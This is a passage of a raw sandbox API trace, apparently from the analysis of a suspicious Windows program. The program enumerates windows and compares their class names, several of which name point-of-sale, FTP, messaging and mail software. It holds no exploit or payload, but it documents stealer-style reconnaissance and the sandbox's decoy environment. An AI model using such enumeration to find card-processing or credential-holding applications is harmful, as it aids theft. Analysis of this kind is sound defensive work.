out: lpClassName="fposwin") returned 7 [0237.899] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0237.899] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0237.899] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0237.899] GetClassNameA (in: hWnd=0x10242, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.899] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.899] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0237.899] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0237.899] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0237.899] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0237.899] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0237.899] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0237.899] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.899] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.899] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0237.899] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0237.899] GetClassNameA (in: hWnd=0x10238, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="creditservice_wnd") returned 17 [0237.899] lstrcmpA (lpString1="creditservice_wnd", lpString2="ThunderRT6Main") returned -1 [0237.899] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0237.899] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0237.899] GetClassNameA (in: hWnd=0x1023a, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.899] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.900] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0237.900] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0237.900] GetClassNameA (in: hWnd=0x10234, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="centralcreditcardwindow") returned 23 [0237.900] lstrcmpA (lpString1="centralcreditcardwindow", lpString2="ThunderRT6Main") returned -1 [0237.900] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0237.900] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0237.900] GetClassNameA (in: hWnd=0x10236, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.900] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.900] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0237.900] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0237.900] GetClassNameA (in: hWnd=0x10230, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="ccv_server_cls") returned 14 [0237.900] lstrcmpA (lpString1="ccv_server_cls", lpString2="ThunderRT6Main") returned -1 [0237.900] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0237.900] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0237.900] GetClassNameA (in: hWnd=0x10232, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.900] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.900] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0237.900] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0237.900] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="aldelo_window") returned 13 [0237.900] lstrcmpA (lpString1="aldelo_window", lpString2="ThunderRT6Main") returned -1 [0237.900] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0237.900] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0237.900] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.900] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.900] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0237.901] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0237.901] GetClassNameA (in: hWnd=0x10228, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="afr38_") returned 6 [0237.901] lstrcmpA (lpString1="afr38_", lpString2="ThunderRT6Main") returned -1 [0237.901] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0237.901] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0237.901] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.901] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.901] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0237.901] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0237.901] GetClassNameA (in: hWnd=0x10224, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="accupos_app") returned 11 [0237.901] lstrcmpA (lpString1="accupos_app", lpString2="ThunderRT6Main") returned -1 [0237.901] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0237.901] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0237.901] GetClassNameA (in: hWnd=0x10226, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.901] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.901] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0237.901] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0237.901] GetClassNameA (in: hWnd=0x10220, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="active-chargecls") returned 16 [0237.901] lstrcmpA (lpString1="active-chargecls", lpString2="ThunderRT6Main") returned -1 [0237.901] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0237.901] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0237.901] GetClassNameA (in: hWnd=0x10222, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.901] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.901] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0237.902] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0237.902] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="yahoomessengerclass") returned 19 [0237.902] lstrcmpA (lpString1="yahoomessengerclass", lpString2="ThunderRT6Main") returned 1 [0237.902] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0237.902] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0237.902] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.902] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.902] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0237.902] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0237.902] GetClassNameA (in: hWnd=0x10218, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="winscpclass") returned 11 [0237.902] lstrcmpA (lpString1="winscpclass", lpString2="ThunderRT6Main") returned 1 [0237.902] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0237.902] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0237.902] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.902] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.902] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0237.902] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0237.902] GetClassNameA (in: hWnd=0x10214, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="whatsappwin") returned 11 [0237.902] lstrcmpA (lpString1="whatsappwin", lpString2="ThunderRT6Main") returned 1 [0237.902] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0237.902] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0237.902] GetClassNameA (in: hWnd=0x10216, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.902] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.902] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0237.902] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0237.903] GetClassNameA (in: hWnd=0x10210, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="webdrive_wnd") returned 12 [0237.903] lstrcmpA (lpString1="webdrive_wnd", lpString2="ThunderRT6Main") returned 1 [0237.903] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0237.903] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0237.903] GetClassNameA (in: hWnd=0x10212, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.903] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.903] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0237.903] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0237.903] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="trillian_window") returned 15 [0237.903] lstrcmpA (lpString1="trillian_window", lpString2="ThunderRT6Main") returned 1 [0237.903] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0237.903] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0237.903] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.903] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.903] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0237.903] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0237.903] GetClassNameA (in: hWnd=0x10208, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="totalcmdwnd") returned 11 [0237.903] lstrcmpA (lpString1="totalcmdwnd", lpString2="ThunderRT6Main") returned 1 [0237.903] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0237.903] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0237.903] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.903] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.903] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0237.903] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0237.903] GetClassNameA (in: hWnd=0x10204, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="thunderbirdwindow") returned 17 [0237.903] lstrcmpA (lpString1="thunderbirdwindow", lpString2="ThunderRT6Main") returned -1 [0237.904] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0237.904] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0237.904] GetClassNameA (in: hWnd=0x10206, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.904] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.904] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0237.904] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0237.904] GetClassNameA (in: hWnd=0x10200, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="smartftpwindow") returned 14 [0237.904] lstrcmpA (lpString1="smartftpwindow", lpString2="ThunderRT6Main") returned -1 [0237.904] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0237.904] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0237.904] GetClassNameA (in: hWnd=0x10202, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.904] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.904] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0237.904] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0237.904] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="skype_wnd") returned 9 [0237.904] lstrcmpA (lpString1="skype_wnd", lpString2="ThunderRT6Main") returned -1 [0237.904] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0237.904] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0237.904] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.904] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.904] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0237.904] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0237.904] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="scriptftp_app") returned 13 [0237.904] lstrcmpA (lpString1="scriptftp_app", lpString2="ThunderRT6Main") returned -1 [0237.904] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0237.905] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0237.905] GetClassNameA (in: hWnd=0x101fa, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.905] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.905] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0237.905] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0237.905] GetClassNameA (in: hWnd=0x101f4, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="pidgin_class") returned 12 [0237.905] lstrcmpA (lpString1="pidgin_class", lpString2="ThunderRT6Main") returned -1 [0237.905] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0237.905] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0237.905] GetClassNameA (in: hWnd=0x101f6, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.905] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.905] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0237.905] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0237.905] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="outlookwin") returned 10 [0237.905] lstrcmpA (lpString1="outlookwin", lpString2="ThunderRT6Main") returned -1 [0237.905] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0237.905] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0237.905] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.905] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.905] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0237.905] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0237.905] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="operamailcls") returned 12 [0237.905] lstrcmpA (lpString1="operamailcls", lpString2="ThunderRT6Main") returned -1 [0237.905] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0237.905] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0237.905] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.906] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.906] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0237.906] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0237.906] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="notepadwin") returned 10 [0237.906] lstrcmpA (lpString1="notepadwin", lpString2="ThunderRT6Main") returned -1 [0237.906] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0237.906] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0237.906] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.906] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.906] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0237.906] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0237.906] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="ncftpwindow") returned 11 [0237.906] lstrcmpA (lpString1="ncftpwindow", lpString2="ThunderRT6Main") returned -1 [0237.906] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0237.906] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0237.906] GetClassNameA (in: hWnd=0x101e6, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.906] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.906] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0237.906] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0237.906] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="leechftpclass") returned 13 [0237.906] lstrcmpA (lpString1="leechftpclass", lpString2="ThunderRT6Main") returned -1 [0237.906] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0237.906] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0237.907] GetClassNameA (in: hWnd=0x101e2, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.907] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.907] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0237.907] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0237.907] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="icq_win") returned 7 [0237.907] lstrcmpA (lpString1="icq_win", lpString2="ThunderRT6Main") returned -1 [0237.907] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0237.907] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0237.907] GetClassNameA (in: hWnd=0x101de, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.907] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.907] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0237.907] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0237.907] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="gmailnotifierpro") returned 16 [0237.907] lstrcmpA (lpString1="gmailnotifierpro", lpString2="ThunderRT6Main") returned -1 [0237.907] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0237.907] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0237.907] GetClassNameA (in: hWnd=0x101da, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.907] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.907] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0237.907] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0237.907] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="foxmailincmail") returned 14 [0237.907] lstrcmpA (lpString1="foxmailincmail", lpString2="ThunderRT6Main") returned -1 [0237.907] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0237.907] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0237.907] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.908] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.908] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0237.908] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0237.908] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="flingapp") returned 8 [0237.908] lstrcmpA (lpString1="flingapp", lpString2="ThunderRT6Main") returned -1 [0237.908] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0237.908] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0237.908] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.908] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.908] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0237.908] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0237.908] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="flashfxp_") returned 9 [0237.908] lstrcmpA (lpString1="flashfxp_", lpString2="ThunderRT6Main") returned -1 [0237.908] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0237.908] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0237.908] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.908] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.908] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0237.908] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0237.908] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="filezillaapp") returned 12 [0237.908] lstrcmpA (lpString1="filezillaapp", lpString2="ThunderRT6Main") returned -1 [0237.908] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0237.908] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0237.908] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.908] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.908] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0237.909] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0237.909] GetClassNameA (in: hWnd=0x101c4, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="far_window") returned 10 [0237.909] lstrcmpA (lpString1="far_window", lpString2="ThunderRT6Main") returned -1 [0237.909] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0237.909] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0237.909] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.909] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.909] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0237.909] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0237.909] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="coreftp_window") returned 14 [0237.909] lstrcmpA (lpString1="coreftp_window", lpString2="ThunderRT6Main") returned -1 [0237.909] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0237.909] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0237.909] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.909] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.909] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0237.909] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0237.909] GetClassNameA (in: hWnd=0x101bc, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="bitkinex_window") returned 15 [0237.909] lstrcmpA (lpString1="bitkinex_window", lpString2="ThunderRT6Main") returned -1 [0237.909] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0237.909] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0237.909] GetClassNameA (in: hWnd=0x101be, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.909] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.909] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0237.909] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0237.909] GetClassNameA (in: hWnd=0x101b8, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="barcaclass") returned 10 [0237.910] lstrcmpA (lpString1="barcaclass", lpString2="ThunderRT6Main") returned -1 [0237.910] 